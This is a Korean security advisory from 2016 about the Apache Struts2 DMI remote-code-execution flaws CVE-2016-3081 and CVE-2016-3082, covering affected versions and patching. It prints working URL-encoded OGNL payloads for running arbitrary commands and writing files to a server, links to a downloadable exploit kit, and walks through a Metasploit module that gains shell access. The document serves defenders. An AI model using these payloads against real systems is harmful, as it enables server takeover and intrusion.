보안정보

전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.

Apache Struts2 취약점 (CVE-2016-3081)

2016.06.01

23,238

보안관제사업부 보안분석팀 김미희

 

1. 개요


Apache Struts2에서 취약점을 이용하여 원격코드 실행이 가능한 CVE-2016-3081(S02-32)와 CVE-2016-3082(S02-31)취약점이 발견되었다.

CVE-2016-3082(S02-31)은 XSLTResult 함수를 통해 XSL 스타일시트에서 악성 파라미터 값을 요청하여 원격코드 실행이 가능한 취약점이고, CVE-2016-3081(S02-32)은 DMI(Dynamic Method Invocation)를 사용하여 공격자가 원격으로 임의의 코드를 실행할 수 있는 취약점으로 DMI기능이 활성화 된 경우에만 영향을 받는다.

2016년 4월 28일 해당 취약점에 대한 보안패치가 제공된 상태이나 공격방식이 쉽고 공격을 받았을 때 시스템에 미치는 영향도가 크기 때문에 이번 호에서는 CVE-2016-3081취약점에 대해서 분석해 보았다.


2. 취약점 요약

 

 CVE

 세부 내용

 위험도

 CVE-2016-3081
(S02-32)

 DMI기능을 통해 임의코드를 서버사이드에서 실행할 수 있는 취약점

 High

 CVE-2016-3082
(S01-31)

 XSLTResult 함수를 통해 XSL 스타일시트에서 악성 파라미터값을 요청하여 원격코드실행이 가능한 취약점 

 Medium

 

 

3. 영향 받는 소프트웨어

 

 CVE

 영향 받는 버전

 보안 패치 버전

 CVE-2016-3081

 Struts 2.3.20 - Struts 2.3.28
(2.3.20.3 및 2.3.24.3 제외)

Struts 2.3.20.3
Struts 2.3.28.1
Struts 2.3.28.1​

 CVE-2016-3082

 Struts 2.0.0 - Struts 2.3.28
(2.3.20.3 및 2.3.24.3 제외)

 

 

4. 취약점 원리

 

공격이 수행되려면 기본적으로 Struts2 설정 파일(struts.xml)에서 “struts.enable.DynamicMethodInvocation”의 값이 “True”로 설정되어야 한다.

 

 < constant name="struts.enable.DynamicMethodInvocation" value="true" / >

 


Apache Struts2에서 문제가 된 DMI(Dynamic Method Invocation은 WebWork에 내장된 기능 중 execute() 메소드 대신에 다른 메소드를 호출하는 기능을 가진 “!”문자열을 이용하게 한다.

DMI는 기본적으로 POJO Action이 사용되는 경우 보안문제를 야기시킬 수 있어 DMI기능을 비활성화 시켰으나 이번에 보고된 취약점을 이용하면 Method를 통해 넘긴 값이 DMI를 거쳐 처리되면서 Java 구문으로 흐름을 변경하여 공격자가 원하는 공격명령을 수행할 수 있도록 한다.

 

 test.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String

 


위의 공격 명령어에서 method 파라미터를 통해서 공격 명령을 넘기게 되고 memberAccess이후에 cmd파라미터의 값을 시스템으로 넘기도록 구성되어 있다.


좀더 자세히 설명하면 동적 메소드 호출(DMI)이 활성화 되어 있으면, “http://localhost:8080/struts241/index!login.action” 와 같은 로그인 요청을 수행할 수 있으며, 이 동적 호출을 수행할 때, 특수문자는 공백으로 처리되지만 “http://localhost:8080/struts241/index.action?method:login“와 같이 바꾸어 요청할 수 있다.

 

 

 


 수신 된 매개 변수는 ActionMappping의 method 속성에 저장되고 DefaultActionProxyFactory에서 ActionMappping의 method 속성이 ActionProxy의 method 속성으로 설정되는데, 이 때 escapeEcmaScript, escapeHtml4를 통해 필터링하고 있지만 POC 코드를 통해 통과할 수 있다.

 

 

 


 그리고 DefaultActionInvocation.java에서 ActionProxy의 method를 추출하고 ognlUtil.getValue()를 통해 OGNL 표현식을 실행한다.

 

 

 


OGNL을 통과하여 표현하는 방식은 ognl.ognlcontext의 DEFAULT_MEMBER_ACCESS 속성을 통하여도 얻을 수 있으며, 얻은 값을 _memberAccess 속성에 덮을 수 있고,  이것은 SecurityMemberAccess를 우회 할 수 있다.

DMI는 기본적으로 2.3.15.2 이후에는 비활성화 되어 있는 상태이나 2.3.20 ~ 2.3.28(2.3.20.3, 2.3.24.3 제외)에서는 취약점의 영향이 존재하기 때문에 업데이트를 권고한다.

 


5. 취약점 검증


1) 원격실행 명령

 

 method:%23_memberAccess%3d%40ognl.OgnlContext%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=[COMMAND]

 

   

※ command 파라미터의 입력 값은 변경이 가능(ex. whoami, ipconfig, dir)

 

 


[그림 1] whoami명령어를 이용한 공격 결과


2) 파일 업로드


 

 method:%23_memberAccess%20%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj%5B0%5D,%23c%3d%23parameters.reqobj%20%5B1%5D,%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj%5B2%5D,%23fos%3dnew%20java.io.FileOutputStream(%23b),%23fos.write(%23parameters.content%5B0%5D.getBytes()),%23fos.close(),%23hh%20%3d%23context.get(%23parameters.rpsobj%5B0%5D),%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%20%23hh.getWriter().close(),1?%23xx:%20%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony%20.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=[FILENAME]&content=Struts2+Exploit+Test

 

 

 

 

[그림 2] 툴을 이용한 파일업로드 결과

 

 

6. 취약점 진단방법

 

1) 점검 전용사이트를 이용한 점검방법

 

◎ URL : http://0day.websaas.cn/

◎ 사용방법

① 사이트 접속 후 왼쪽 상단에 버튼을 클릭
② 리스트 박스에서 “Struts2 S2-032漏洞在线检测”를 클릭
③ 점검하고자 하는 사이트 URL을 입력하고 파란색 버튼을 클릭

 

 


[그림 3] 취약점 점검용 사이트 화면


2) Exploit Kit을 이용한 점검 방법


◎ URL : http://pan.baidu.com/s/1i5rp1a9
◎ 사용방법

① 사이트 접속 공격도구를 다운로드
② 공격이 성공되면 [그림 4-4]와 같이 입력 명령어의 결과가 출력
③ 공격이 실패되면 [그림 4-5]와 같이 접속한 홈페이지의 소스코드가 출력

 



[그림 4] 공격 명령어 성공 결과 화면

 

 

 

[그림 5] 공격 명령어 실패 결과 화면


3) Metasploit을 이용한 점검방법


Metasploit에서도 2016년 4월 27일 Apache Struts Dynamic Method Invocation Remote Code Execution으로 struts_dmi_exec공격모듈을 공개하였다.

 

 


[그림 4-6] Metasploit에서 제공하는 struts_dmi_exec 공격 모듈

 

struts_dmi_exec 공격모듈의 경우 공격대상의 정보(RHOST, RPORT, TARGETURI)를 입력하면 공격수행이 가능하다.

 

구분

IP 

설정 

ATTACKER

192.168.78.137

 

VICTIM

192.168.78.136

Apache Tomcat v7.0, Apache Struts2 2.3.28

 

 

 

 


[그림 7] Metasploit에서 제공하는 struts_dmi_exec 공격 모듈 사용 화면

 

공격대상정보를 입력하고 공격을 수행하면 [그림 8]과 같이 공격이 성공하여 공격대상의 권한획득이 가능하다.

 

 

 

[그림 8] 공격 모듈을 이용하여 공격대상의 권한 획득

 


7. 참고자료

 

[1] Apache Struts2 S2-031
http://struts.apache.org/docs/s2-031.html

[2] Apache Struts2 S2-032
http://struts.apache.org/docs/s2-032.html

[3] Apache Struts2 Version Notes 2.3.28.1
http://struts.apache.org/docs/version-notes-23281.html

[4] Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析
http://blog.nsfocus.net/tech/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/2016/04/26/Struts2%E6%96%B9%E6%B3%95%E8%B0%83%E7%94%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-CVE-2016-3081-%E5%88%86%E6%9E%90.html

[5] APACHE STRUTS DYNAMIC METHOD INVOCATION REMOTE CODE EXECUTION
https://www.rapid7.com/db/modules/exploit/linux/http/struts_dmi_exec